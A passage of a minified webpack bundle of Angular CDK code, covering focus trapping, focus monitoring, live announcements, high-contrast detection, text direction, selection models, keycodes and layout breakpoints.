De(Ue){let xe=Ue.nodeName.toLowerCase();return"input"===xe||"select"===xe||"button"===xe||"textarea"===xe}(Ue)||function ve(Ue){return function xt(Ue){return"a"==Ue.nodeName.toLowerCase()}(Ue)&&Ue.hasAttribute("href")}(Ue)||Ue.hasAttribute("contenteditable")||Be(Ue))}(J)&&!this.isDisabled(J)&&(Ae?.ignoreVisibility||this.isVisible(J))}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();function Be(Ue){if(!Ue.hasAttribute("tabindex")||void 0===Ue.tabIndex)return!1;let xe=Ue.getAttribute("tabindex");return!(!xe||isNaN(parseInt(xe,10)))}function pe(Ue){if(!Be(Ue))return null;const xe=parseInt(Ue.getAttribute("tabindex")||"",10);return isNaN(xe)?-1:xe}class X{constructor(xe,J,Ae,mt,Ct=!1){this._element=xe,this._checker=J,this._ngZone=Ae,this._document=mt,this._hasAttached=!1,this.startAnchorListener=()=>this.focusLastTabbableElement(),this.endAnchorListener=()=>this.focusFirstTabbableElement(),this._enabled=!0,Ct||this.attachAnchors()}get enabled(){return this._enabled}set enabled(xe){this._enabled=xe,this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(xe,this._startAnchor),this._toggleAnchorTabIndex(xe,this._endAnchor))}destroy(){const xe=this._startAnchor,J=this._endAnchor;xe&&(xe.removeEventListener("focus",this.startAnchorListener),xe.remove()),J&&(J.removeEventListener("focus",this.endAnchorListener),J.remove()),this._startAnchor=this._endAnchor=null,this._hasAttached=!1}attachAnchors(){return!!this._hasAttached||(this._ngZone.runOutsideAngular(()=>{this._startAnchor||(this._startAnchor=this._createAnchor(),this._startAnchor.addEventListener("focus",this.startAnchorListener)),this._endAnchor||(this._endAnchor=this._createAnchor(),this._endAnchor.addEventListener("focus",this.endAnchorListener))}),this._element.parentNode&&(this._element.parentNode.insertBefore(this._startAnchor,this._element),this._element.parentNode.insertBefore(this._endAnchor,this._element.nextSibling),this._hasAttached=!0),this._hasAttached)}focusInitialElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusInitialElement(xe)))})}focusFirstTabbableElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusFirstTabbableElement(xe)))})}focusLastTabbableElementWhenReady(xe){return new Promise(J=>{this._executeOnStable(()=>J(this.focusLastTabbableElement(xe)))})}_getRegionBoundary(xe){const J=this._element.querySelectorAll(`[cdk-focus-region-${xe}], [cdkFocusRegion${xe}], [cdk-focus-${xe}]`);return"start"==xe?J.length?J[0]:this._getFirstTabbableElement(this._element):J.length?J[J.length-1]:this._getLastTabbableElement(this._element)}focusInitialElement(xe){const J=this._element.querySelector("[cdk-focus-initial], [cdkFocusInitial]");if(J){if(!this._checker.isFocusable(J)){const Ae=this._getFirstTabbableElement(J);return Ae?.focus(xe),!!Ae}return J.focus(xe),!0}return this.focusFirstTabbableElement(xe)}focusFirstTabbableElement(xe){const J=this._getRegionBoundary("start");return J&&J.focus(xe),!!J}focusLastTabbableElement(xe){const J=this._getRegionBoundary("end");return J&&J.focus(xe),!!J}hasAttached(){return this._hasAttached}_getFirstTabbableElement(xe){if(this._checker.isFocusable(xe)&&this._checker.isTabbable(xe))return xe;const J=xe.children;for(let Ae=0;Ae<J.length;Ae++){const mt=J[Ae].nodeType===this._document.ELEMENT_NODE?this._getFirstTabbableElement(J[Ae]):null;if(mt)return mt}return null}_getLastTabbableElement(xe){if(this._checker.isFocusable(xe)&&this._checker.isTabbable(xe))return xe;const J=xe.children;for(let Ae=J.length-1;Ae>=0;Ae--){const mt=J[Ae].nodeType===this._document.ELEMENT_NODE?this._getLastTabbableElement(J[Ae]):null;if(mt)return mt}return null}_createAnchor(){const xe=this._document.createElement("div");return this._toggleAnchorTabIndex(this._enabled,xe),xe.classList.add("cdk-visually-hidden"),xe.classList.add("cdk-focus-trap-anchor"),xe.setAttribute("aria-hidden","true"),xe}_toggleAnchorTabIndex(xe,J){xe?J.setAttribute("tabindex","0"):J.removeAttribute("tabindex")}toggleAnchors(xe){this._startAnchor&&this._endAnchor&&(this._toggleAnchorTabIndex(xe,this._startAnchor),this._toggleAnchorTabIndex(xe,this._endAnchor))}_executeOnStable(xe){this._ngZone.isStable?xe():this._ngZone.onStable.pipe((0,H.q)(1)).subscribe(xe)}}let _e=(()=>{class Ue{constructor(J,Ae,mt){this._checker=J,this._ngZone=Ae,this._document=mt}create(J,Ae=!1){return new X(J,this._checker,this._ngZone,this._document,Ae)}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(dt),a.LFG(a.R0b),a.LFG(n.K0))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),ct=(()=>{class Ue{constructor(J,Ae,mt){this._elementRef=J,this._focusTrapFactory=Ae,this._previouslyFocusedElement=null,this.focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement,!0)}get enabled(){return this.focusTrap.enabled}set enabled(J){this.focusTrap.enabled=(0,Q.Ig)(J)}get autoCapture(){return this._autoCapture}set autoCapture(J){this._autoCapture=(0,Q.Ig)(J)}ngOnDestroy(){this.focusTrap.destroy(),this._previouslyFocusedElement&&(this._previouslyFocusedElement.focus(),this._previouslyFocusedElement=null)}ngAfterContentInit(){this.focusTrap.attachAnchors(),this.autoCapture&&this._captureFocus()}ngDoCheck(){this.focusTrap.hasAttached()||this.focusTrap.attachAnchors()}ngOnChanges(J){const Ae=J.autoCapture;Ae&&!Ae.firstChange&&this.autoCapture&&this.focusTrap.hasAttached()&&this._captureFocus()}_captureFocus(){this._previouslyFocusedElement=(0,s.ht)(),this.focusTrap.focusInitialElementWhenReady()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.Y36(a.SBq),a.Y36(_e),a.Y36(n.K0))},Ue.\\u0275dir=a.lG2({type:Ue,selectors:[["","cdkTrapFocus",""]],inputs:{enabled:["cdkTrapFocus","enabled"],autoCapture:["cdkTrapFocusAutoCapture","autoCapture"]},exportAs:["cdkTrapFocus"],features:[a.TTD]}),Ue})();function te(Ue){return 0===Ue.buttons||0===Ue.offsetX&&0===Ue.offsetY}function x(Ue){const xe=Ue.touches&&Ue.touches[0]||Ue.changedTouches&&Ue.changedTouches[0];return!(!xe||-1!==xe.identifier||null!=xe.radiusX&&1!==xe.radiusX||null!=xe.radiusY&&1!==xe.radiusY)}const m=new a.OlP("cdk-input-modality-detector-options"),b={ignoreKeys:[_.zL,_.jx,_.b2,_.MW,_.JU]},ie=(0,s.i$)({passive:!0,capture:!0});let Xe=(()=>{class Ue{constructor(J,Ae,mt,Ct){this._platform=J,this._mostRecentTarget=null,this._modality=new f.X(null),this._lastTouchMs=0,this._onKeydown=jt=>{this._options?.ignoreKeys?.some(pt=>pt===jt.keyCode)||(this._modality.next("keyboard"),this._mostRecentTarget=(0,s.sA)(jt))},this._onMousedown=jt=>{Date.now()-this._lastTouchMs<650||(this._modality.next(te(jt)?"keyboard":"mouse"),this._mostRecentTarget=(0,s.sA)(jt))},this._onTouchstart=jt=>{x(jt)?this._modality.next("keyboard"):(this._lastTouchMs=Date.now(),this._modality.next("touch"),this._mostRecentTarget=(0,s.sA)(jt))},this._options={...b,...Ct},this.modalityDetected=this._modality.pipe((0,j.T)(1)),this.modalityChanged=this.modalityDetected.pipe((0,U.x)()),J.isBrowser&&Ae.runOutsideAngular(()=>{mt.addEventListener("keydown",this._onKeydown,ie),mt.addEventListener("mousedown",this._onMousedown,ie),mt.addEventListener("touchstart",this._onTouchstart,ie)})}get mostRecentModality(){return this._modality.value}ngOnDestroy(){this._modality.complete(),this._platform.isBrowser&&(document.removeEventListener("keydown",this._onKeydown,ie),document.removeEventListener("mousedown",this._onMousedown,ie),document.removeEventListener("touchstart",this._onTouchstart,ie))}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4),a.LFG(a.R0b),a.LFG(n.K0),a.LFG(m,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();const it=new a.OlP("liveAnnouncerElement",{providedIn:"root",factory:function wt(){return null}}),Vt=new a.OlP("LIVE_ANNOUNCER_DEFAULT_OPTIONS");let Gt=(()=>{class Ue{constructor(J,Ae,mt,Ct){this._ngZone=Ae,this._defaultOptions=Ct,this._document=mt,this._liveElement=J||this._createLiveElement()}announce(J,...Ae){const mt=this._defaultOptions;let Ct,jt;return 1===Ae.length&&"number"==typeof Ae[0]?jt=Ae[0]:[Ct,jt]=Ae,this.clear(),clearTimeout(this._previousTimeout),Ct||(Ct=mt&&mt.politeness?mt.politeness:"polite"),null==jt&&mt&&(jt=mt.duration),this._liveElement.setAttribute("aria-live",Ct),this._ngZone.runOutsideAngular(()=>(this._currentPromise||(this._currentPromise=new Promise(pt=>this._currentResolve=pt)),clearTimeout(this._previousTimeout),this._previousTimeout=setTimeout(()=>{this._liveElement.textContent=J,"number"==typeof jt&&(this._previousTimeout=setTimeout(()=>this.clear(),jt)),this._currentResolve(),this._currentPromise=this._currentResolve=void 0},100),this._currentPromise))}clear(){this._liveElement&&(this._liveElement.textContent="")}ngOnDestroy(){clearTimeout(this._previousTimeout),this._liveElement?.remove(),this._liveElement=null,this._currentResolve?.(),this._currentPromise=this._currentResolve=void 0}_createLiveElement(){const J="cdk-live-announcer-element",Ae=this._document.getElementsByClassName(J),mt=this._document.createElement("div");for(let Ct=0;Ct<Ae.length;Ct++)Ae[Ct].remove();return mt.classList.add(J),mt.classList.add("cdk-visually-hidden"),mt.setAttribute("aria-atomic","true"),mt.setAttribute("aria-live","polite"),this._document.body.appendChild(mt),mt}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(it,8),a.LFG(a.R0b),a.LFG(n.K0),a.LFG(Vt,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})();const u1=new a.OlP("cdk-focus-monitor-default-options"),c1=(0,s.i$)({passive:!0,capture:!0});let It=(()=>{class Ue{constructor(J,Ae,mt,Ct,jt){this._ngZone=J,this._platform=Ae,this._inputModalityDetector=mt,this._origin=null,this._windowFocused=!1,this._originFromTouchInteraction=!1,this._elementInfo=new Map,this._monitoredElementCount=0,this._rootNodeFocusListenerCount=new Map,this._windowFocusListener=()=>{this._windowFocused=!0,this._windowFocusTimeoutId=window.setTimeout(()=>this._windowFocused=!1)},this._stopInputModalityDetector=new u.xQ,this._rootNodeFocusAndBlurListener=pt=>{for(let fe=(0,s.sA)(pt);fe;fe=fe.parentElement)"focus"===pt.type?this._onFocus(pt,fe):this._onBlur(pt,fe)},this._document=Ct,this._detectionMode=jt?.detectionMode||0}monitor(J,Ae=!1){const mt=(0,Q.fI)(J);if(!this._platform.isBrowser||1!==mt.nodeType)return(0,E.of)(null);const Ct=(0,s.kV)(mt)||this._getDocument(),jt=this._elementInfo.get(mt);if(jt)return Ae&&(jt.checkChildren=!0),jt.subject;const pt={checkChildren:Ae,subject:new u.xQ,rootNode:Ct};return this._elementInfo.set(mt,pt),this._registerGlobalListeners(pt),pt.subject}stopMonitoring(J){const Ae=(0,Q.fI)(J),mt=this._elementInfo.get(Ae);mt&&(mt.subject.complete(),this._setClasses(Ae),this._elementInfo.delete(Ae),this._removeGlobalListeners(mt))}focusVia(J,Ae,mt){const Ct=(0,Q.fI)(J);Ct===this._getDocument().activeElement?this._getClosestElementsInfo(Ct).forEach(([pt,nt])=>this._originChanged(pt,Ae,nt)):(this._setOrigin(Ae),"function"==typeof Ct.focus&&Ct.focus(mt))}ngOnDestroy(){this._elementInfo.forEach((J,Ae)=>this.stopMonitoring(Ae))}_getDocument(){return this._document||document}_getWindow(){return this._getDocument().defaultView||window}_getFocusOrigin(J){return this._origin?this._originFromTouchInteraction?this._shouldBeAttributedToTouch(J)?"touch":"program":this._origin:this._windowFocused&&this._lastFocusOrigin?this._lastFocusOrigin:J&&this._isLastInteractionFromInputLabel(J)?"mouse":"program"}_shouldBeAttributedToTouch(J){return 1===this._detectionMode||!!J?.contains(this._inputModalityDetector._mostRecentTarget)}_setClasses(J,Ae){J.classList.toggle("cdk-focused",!!Ae),J.classList.toggle("cdk-touch-focused","touch"===Ae),J.classList.toggle("cdk-keyboard-focused","keyboard"===Ae),J.classList.toggle("cdk-mouse-focused","mouse"===Ae),J.classList.toggle("cdk-program-focused","program"===Ae)}_setOrigin(J,Ae=!1){this._ngZone.runOutsideAngular(()=>{this._origin=J,this._originFromTouchInteraction="touch"===J&&Ae,0===this._detectionMode&&(clearTimeout(this._originTimeoutId),this._originTimeoutId=setTimeout(()=>this._origin=null,this._originFromTouchInteraction?650:1))})}_onFocus(J,Ae){const mt=this._elementInfo.get(Ae),Ct=(0,s.sA)(J);!mt||!mt.checkChildren&&Ae!==Ct||this._originChanged(Ae,this._getFocusOrigin(Ct),mt)}_onBlur(J,Ae){const mt=this._elementInfo.get(Ae);!mt||mt.checkChildren&&J.relatedTarget instanceof Node&&Ae.contains(J.relatedTarget)||(this._setClasses(Ae),this._emitOrigin(mt,null))}_emitOrigin(J,Ae){J.subject.observers.length&&this._ngZone.run(()=>J.subject.next(Ae))}_registerGlobalListeners(J){if(!this._platform.isBrowser)return;const Ae=J.rootNode,mt=this._rootNodeFocusListenerCount.get(Ae)||0;mt||this._ngZone.runOutsideAngular(()=>{Ae.addEventListener("focus",this._rootNodeFocusAndBlurListener,c1),Ae.addEventListener("blur",this._rootNodeFocusAndBlurListener,c1)}),this._rootNodeFocusListenerCount.set(Ae,mt+1),1==++this._monitoredElementCount&&(this._ngZone.runOutsideAngular(()=>{this._getWindow().addEventListener("focus",this._windowFocusListener)}),this._inputModalityDetector.modalityDetected.pipe((0,G.R)(this._stopInputModalityDetector)).subscribe(Ct=>{this._setOrigin(Ct,!0)}))}_removeGlobalListeners(J){const Ae=J.rootNode;if(this._rootNodeFocusListenerCount.has(Ae)){const mt=this._rootNodeFocusListenerCount.get(Ae);mt>1?this._rootNodeFocusListenerCount.set(Ae,mt-1):(Ae.removeEventListener("focus",this._rootNodeFocusAndBlurListener,c1),Ae.removeEventListener("blur",this._rootNodeFocusAndBlurListener,c1),this._rootNodeFocusListenerCount.delete(Ae))}--this._monitoredElementCount||(this._getWindow().removeEventListener("focus",this._windowFocusListener),this._stopInputModalityDetector.next(),clearTimeout(this._windowFocusTimeoutId),clearTimeout(this._originTimeoutId))}_originChanged(J,Ae,mt){this._setClasses(J,Ae),this._emitOrigin(mt,Ae),this._lastFocusOrigin=Ae}_getClosestElementsInfo(J){const Ae=[];return this._elementInfo.forEach((mt,Ct)=>{(Ct===J||mt.checkChildren&&Ct.contains(J))&&Ae.push([Ct,mt])}),Ae}_isLastInteractionFromInputLabel(J){const{_mostRecentTarget:Ae,mostRecentModality:mt}=this._inputModalityDetector;if("mouse"!==mt||!Ae||Ae===J||"INPUT"!==J.nodeName&&"TEXTAREA"!==J.nodeName||J.disabled)return!1;const Ct=J.labels;if(Ct)for(let jt=0;jt<Ct.length;jt++)if(Ct[jt].contains(Ae))return!0;return!1}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(a.R0b),a.LFG(s.t4),a.LFG(Xe),a.LFG(n.K0,8),a.LFG(u1,8))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),_t=(()=>{class Ue{constructor(J,Ae){this._elementRef=J,this._focusMonitor=Ae,this._focusOrigin=null,this.cdkFocusChange=new a.vpe}get focusOrigin(){return this._focusOrigin}ngAfterViewInit(){const J=this._elementRef.nativeElement;this._monitorSubscription=this._focusMonitor.monitor(J,1===J.nodeType&&J.hasAttribute("cdkMonitorSubtreeFocus")).subscribe(Ae=>{this._focusOrigin=Ae,this.cdkFocusChange.emit(Ae)})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._monitorSubscription&&this._monitorSubscription.unsubscribe()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.Y36(a.SBq),a.Y36(It))},Ue.\\u0275dir=a.lG2({type:Ue,selectors:[["","cdkMonitorElementFocus",""],["","cdkMonitorSubtreeFocus",""]],outputs:{cdkFocusChange:"cdkFocusChange"},exportAs:["cdkMonitorFocus"]}),Ue})();const kt="cdk-high-contrast-black-on-white",Fe="cdk-high-contrast-white-on-black",be="cdk-high-contrast-active";let Pe=(()=>{class Ue{constructor(J,Ae){this._platform=J,this._document=Ae,this._breakpointSubscription=(0,a.f3M)(Ce.Yg).observe("(forced-colors: active)").subscribe(()=>{this._hasCheckedHighContrastMode&&(this._hasCheckedHighContrastMode=!1,this._applyBodyHighContrastModeCssClasses())})}getHighContrastMode(){if(!this._platform.isBrowser)return 0;const J=this._document.createElement("div");J.style.backgroundColor="rgb(1,2,3)",J.style.position="absolute",this._document.body.appendChild(J);const Ae=this._document.defaultView||window,mt=Ae&&Ae.getComputedStyle?Ae.getComputedStyle(J):null,Ct=(mt&&mt.backgroundColor||"").replace(/ /g,"");switch(J.remove(),Ct){case"rgb(0,0,0)":case"rgb(45,50,54)":case"rgb(32,32,32)":return 2;case"rgb(255,255,255)":case"rgb(255,250,239)":return 1}return 0}ngOnDestroy(){this._breakpointSubscription.unsubscribe()}_applyBodyHighContrastModeCssClasses(){if(!this._hasCheckedHighContrastMode&&this._platform.isBrowser&&this._document.body){const J=this._document.body.classList;J.remove(be,kt,Fe),this._hasCheckedHighContrastMode=!0;const Ae=this.getHighContrastMode();1===Ae?J.add(be,kt):2===Ae&&J.add(be,Fe)}}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(s.t4),a.LFG(n.K0))},Ue.\\u0275prov=a.Yz7({token:Ue,factory:Ue.\\u0275fac,providedIn:"root"}),Ue})(),Re=(()=>{class Ue{constructor(J){J._applyBodyHighContrastModeCssClasses()}}return Ue.\\u0275fac=function(J){return new(J||Ue)(a.LFG(Pe))},Ue.\\u0275mod=a.oAB({type:Ue}),Ue.\\u0275inj=a.cJS({imports:[oe.Q8]}),Ue})()},445:(At,ae,d)=>{"use strict";d.d(ae,{Is:()=>E,vT:()=>S});var n=d(4650),a=d(6895);const s=new n.OlP("cdk-dir-doc",{providedIn:"root",factory:function u(){return(0,n.f3M)(a.K0)}}),c=/^(ar|ckb|dv|he|iw|fa|nqo|ps|sd|ug|ur|yi|.*[-_](Adlm|Arab|Hebr|Nkoo|Rohg|Thaa))(?!.*[-_](Latn|Cyrl)($|-|_))($|-|_)/i;let E=(()=>{class g{constructor(z){this.value="ltr",this.change=new n.vpe,z&&(this.value=function f(g){const C=g?.toLowerCase()||"";return"auto"===C&&typeof navigator<"u"&&navigator?.language?c.test(navigator.language)?"rtl":"ltr":"rtl"===C?"rtl":"ltr"}((z.body?z.body.dir:null)||(z.documentElement?z.documentElement.dir:null)||"ltr"))}ngOnDestroy(){this.change.complete()}}return g.\\u0275fac=function(z){return new(z||g)(n.LFG(s,8))},g.\\u0275prov=n.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=n.oAB({type:g}),g.\\u0275inj=n.cJS({}),g})()},1281:(At,ae,d)=>{"use strict";d.d(ae,{Eq:()=>c,HM:()=>f,Ig:()=>a,du:()=>_,fI:()=>E,su:()=>s,t6:()=>u});var n=d(4650);function a(S){return null!=S&&"false"!=`${S}`}function s(S,g=0){return u(S)?Number(S):g}function u(S){return!isNaN(parseFloat(S))&&!isNaN(Number(S))}function c(S){return Array.isArray(S)?S:[S]}function f(S){return null==S?"":"string"==typeof S?S:`${S}px`}function E(S){return S instanceof n.SBq?S.nativeElement:S}function _(S,g=/\\s+/){const C=[];if(null!=S){const z=Array.isArray(S)?S:`${S}`.split(g);for(const H of z){const j=`${H}`.trim();j&&C.push(j)}}return C}},5017:(At,ae,d)=>{"use strict";d.d(ae,{A8:()=>C,Ov:()=>S,Z9:()=>c,eX:()=>_,k:()=>z,o2:()=>u,yy:()=>E});var n=d(1762),a=d(8929),s=d(4650);class u{}function c(H){return H&&"function"==typeof H.connect&&!(H instanceof n.c)}class E{applyChanges(j,U,G,Q,oe){j.forEachOperation((Ce,k,K)=>{let se,ee;if(null==Ce.previousIndex){const q=G(Ce,k,K);se=U.createEmbeddedView(q.templateRef,q.context,q.index),ee=1}else null==K?(U.remove(k),ee=3):(se=U.get(k),U.move(se,K),ee=2);oe&&oe({context:se?.context,operation:ee,record:Ce})})}detach(){}}class _{constructor(){this.viewCacheSize=20,this._viewCache=[]}applyChanges(j,U,G,Q,oe){j.forEachOperation((Ce,k,K)=>{let se,ee;null==Ce.previousIndex?(se=this._insertView(()=>G(Ce,k,K),K,U,Q(Ce)),ee=se?1:0):null==K?(this._detachAndCacheView(k,U),ee=3):(se=this._moveView(k,K,U,Q(Ce)),ee=2),oe&&oe({context:se?.context,operation:ee,record:Ce})})}detach(){for(const j of this._viewCache)j.destroy();this._viewCache=[]}_insertView(j,U,G,Q){const oe=this._insertViewFromCache(U,G);if(oe)return void(oe.context.$implicit=Q);const Ce=j();return G.createEmbeddedView(Ce.templateRef,Ce.context,Ce.index)}_detachAndCacheView(j,U){const G=U.detach(j);this._maybeCacheView(G,U)}_moveView(j,U,G,Q){const oe=G.get(j);return G.move(oe,U),oe.context.$implicit=Q,oe}_maybeCacheView(j,U){if(this._viewCache.length<this.viewCacheSize)this._viewCache.push(j);else{const G=U.indexOf(j);-1===G?j.destroy():U.remove(G)}}_insertViewFromCache(j,U){const G=this._viewCache.pop();return G&&U.insert(G,j),G||null}}class S{constructor(j=!1,U,G=!0,Q){this._multiple=j,this._emitChanges=G,this.compareWith=Q,this._selection=new Set,this._deselectedToEmit=[],this._selectedToEmit=[],this.changed=new a.xQ,U&&U.length&&(j?U.forEach(oe=>this._markSelected(oe)):this._markSelected(U[0]),this._selectedToEmit.length=0)}get selected(){return this._selected||(this._selected=Array.from(this._selection.values())),this._selected}select(...j){this._verifyValueAssignment(j),j.forEach(G=>this._markSelected(G));const U=this._hasQueuedChanges();return this._emitChangeEvent(),U}deselect(...j){this._verifyValueAssignment(j),j.forEach(G=>this._unmarkSelected(G));const U=this._hasQueuedChanges();return this._emitChangeEvent(),U}setSelection(...j){this._verifyValueAssignment(j);const U=this.selected,G=new Set(j);j.forEach(oe=>this._markSelected(oe)),U.filter(oe=>!G.has(oe)).forEach(oe=>this._unmarkSelected(oe));const Q=this._hasQueuedChanges();return this._emitChangeEvent(),Q}toggle(j){return this.isSelected(j)?this.deselect(j):this.select(j)}clear(j=!0){this._unmarkAll();const U=this._hasQueuedChanges();return j&&this._emitChangeEvent(),U}isSelected(j){if(this.compareWith){for(const U of this._selection)if(this.compareWith(U,j))return!0;return!1}return this._selection.has(j)}isEmpty(){return 0===this._selection.size}hasValue(){return!this.isEmpty()}sort(j){this._multiple&&this.selected&&this._selected.sort(j)}isMultipleSelection(){return this._multiple}_emitChangeEvent(){this._selected=null,(this._selectedToEmit.length||this._deselectedToEmit.length)&&(this.changed.next({source:this,added:this._selectedToEmit,removed:this._deselectedToEmit}),this._deselectedToEmit=[],this._selectedToEmit=[])}_markSelected(j){this.isSelected(j)||(this._multiple||this._unmarkAll(),this.isSelected(j)||this._selection.add(j),this._emitChanges&&this._selectedToEmit.push(j))}_unmarkSelected(j){this.isSelected(j)&&(this._selection.delete(j),this._emitChanges&&this._deselectedToEmit.push(j))}_unmarkAll(){this.isEmpty()||this._selection.forEach(j=>this._unmarkSelected(j))}_verifyValueAssignment(j){}_hasQueuedChanges(){return!(!this._deselectedToEmit.length&&!this._selectedToEmit.length)}}let C=(()=>{class H{constructor(){this._listeners=[]}notify(U,G){for(let Q of this._listeners)Q(U,G)}listen(U){return this._listeners.push(U),()=>{this._listeners=this._listeners.filter(G=>U!==G)}}ngOnDestroy(){this._listeners=[]}}return H.\\u0275fac=function(U){return new(U||H)},H.\\u0275prov=s.Yz7({token:H,factory:H.\\u0275fac,providedIn:"root"}),H})();const z=new s.OlP("_ViewRepeater")},9521:(At,ae,d)=>{"use strict";d.d(ae,{A:()=>re,JH:()=>k,JU:()=>f,K5:()=>c,Ku:()=>H,LH:()=>oe,L_:()=>z,MW:()=>Vt,Mf:()=>s,SV:()=>Ce,Sd:()=>G,VM:()=>j,Vb:()=>vn,Z:()=>wt,ZH:()=>a,aO:()=>Ke,b2:()=>V1,hY:()=>C,jx:()=>E,oh:()=>Q,uR:()=>U,xE:()=>we,yY:()=>q,zL:()=>_});const a=8,s=9,c=13,f=16,E=17,_=18,C=27,z=32,H=33,j=34,U=35,G=36,Q=37,oe=38,Ce=39,k=40,q=46,we=48,Ke=57,re=65,wt=90,Vt=91,V1=224;function vn(E1,...In){return In.length?In.some(Gn=>E1[Gn]):E1.altKey||E1.shiftKey||E1.ctrlKey||E1.metaKey}},2289:(At,ae,d)=>{"use strict";d.d(ae,{Yg:()=>k,u3:()=>se,xu:()=>j});var n=d(4650),a=d(1281),s=d(8929),u=d(3426),c=d(1221),f=d(6498),E=d(2986),_=d(1307),S=d(13),g=d(4850),C=d(1059),z=d(7625),H=d(3353);let j=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({}),ee})();const U=new Set;let G,Q=(()=>{class ee{constructor(we){this._platform=we,this._matchMedia=this._platform.isBrowser&&window.matchMedia?window.matchMedia.bind(window):Ce}matchMedia(we){return(this._platform.WEBKIT||this._platform.BLINK)&&function oe(ee){if(!U.has(ee))try{G||(G=document.createElement("style"),G.setAttribute("type","text/css"),document.head.appendChild(G)),G.sheet&&(G.sheet.insertRule(`@media ${ee} {body{ }}`,0),U.add(ee))}catch(q){console.error(q)}}(we),this._matchMedia(we)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.LFG(H.t4))},ee.\\u0275prov=n.Yz7({token:ee,factory:ee.\\u0275fac,providedIn:"root"}),ee})();function Ce(ee){return{matches:"all"===ee||""===ee,media:ee,addListener:()=>{},removeListener:()=>{}}}let k=(()=>{class ee{constructor(we,ce){this._mediaMatcher=we,this._zone=ce,this._queries=new Map,this._destroySubject=new s.xQ}ngOnDestroy(){this._destroySubject.next(),this._destroySubject.complete()}isMatched(we){return K((0,a.Eq)(we)).some(je=>this._registerQuery(je).mql.matches)}observe(we){const je=K((0,a.Eq)(we)).map(le=>this._registerQuery(le).observable);let Ze=(0,u.aj)(je);return Ze=(0,c.z)(Ze.pipe((0,E.q)(1)),Ze.pipe((0,_.T)(1),(0,S.b)(0))),Ze.pipe((0,g.U)(le=>{const Oe={matches:!1,breakpoints:{}};return le.forEach(({matches:Qe,query:Ye})=>{Oe.matches=Oe.matches||Qe,Oe.breakpoints[Ye]=Qe}),Oe}))}_registerQuery(we){if(this._queries.has(we))return this._queries.get(we);const ce=this._mediaMatcher.matchMedia(we),Ze={observable:new f.y(le=>{const Oe=Qe=>this._zone.run(()=>le.next(Qe));return ce.addListener(Oe),()=>{ce.removeListener(Oe)}}).pipe((0,C.O)(ce),(0,g.U)(({matches:le})=>({query:we,matches:le})),(0,z.R)(this._destroySubject)),mql:ce};return this._queries.set(we,Ze),Ze}}return ee.\\u0275fac=function(we){return new(we||ee)(n.LFG(Q),n.LFG(n.R0b))},ee.\\u0275prov=n.Yz7({token:ee,factory:ee.\\u0275fac,providedIn:"root"}),ee})();function K(ee){return ee.map(q=>q.split(",")).reduce((q,we)=>q.concat(we)).map(q=>q.trim())}const se={XSmall:"(max-width: 599.98px)",Small:"(min-width: 600px) and (max-width: 959.98px)",Medium:"(min-width: 960px) and (max-width: 1279.98px)",Large:"(min-width: 1280px) and (max-width: 1919.98px)",XLarge:"(min-width: 1920px)",Handset:"(max-width: 599.98px) and (orientation: portrait), (max-width: 959.98px) and (orientation: landscape)",Tablet:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait), (min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",Web:"(min-width: 840px) and (orientation: portrait), (min-width: 1280px) and (orientation: landscape)",HandsetPortrait:"(max-width: 599.98px) and (orientation: portrait)",TabletPortrait:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait)",WebPortrait:"(min-width: 840px) and (orientation: portrait)",HandsetLandscape:"(max-width: 959.98px) and (orientation: landscape)",TabletLandscape:"(min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",WebLandscape:"(min-width: 1280px) and (orientation: landscape)"}},9643:(At,ae,d)=>{"use strict";d.d(ae,{Q8:()=>S,wD:()=>_});var n=d(1281),a=d(4650),s=d(6498),u=d(8929),c=d(13);let f=(()=>{class g{create(z){return typeof MutationObserver>"u"?null:new MutationObserver(z)}}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275prov=a.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),E=(()=>{class g{constructor(z){this._mutationObserverFactory=z,this._observedElements=new Map}ngOnDestroy(){this._observedElements.forEach((z,H)=>this._cleanupObserver(H))}observe(z){const H=(0,n.fI)(z);return new s.y(j=>{const G=this._observeElement(H).subscribe(j);return()=>{G.unsubscribe(),this._unobserveElement(H)}})}_observeElement(z){if(this._observedElements.has(z))this._observedElements.get(z).count++;else{const H=new u.xQ,j=this._mutationObserverFactory.create(U=>H.next(U));j&&j.observe(z,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(z,{observer:j,stream:H,count:1})}return 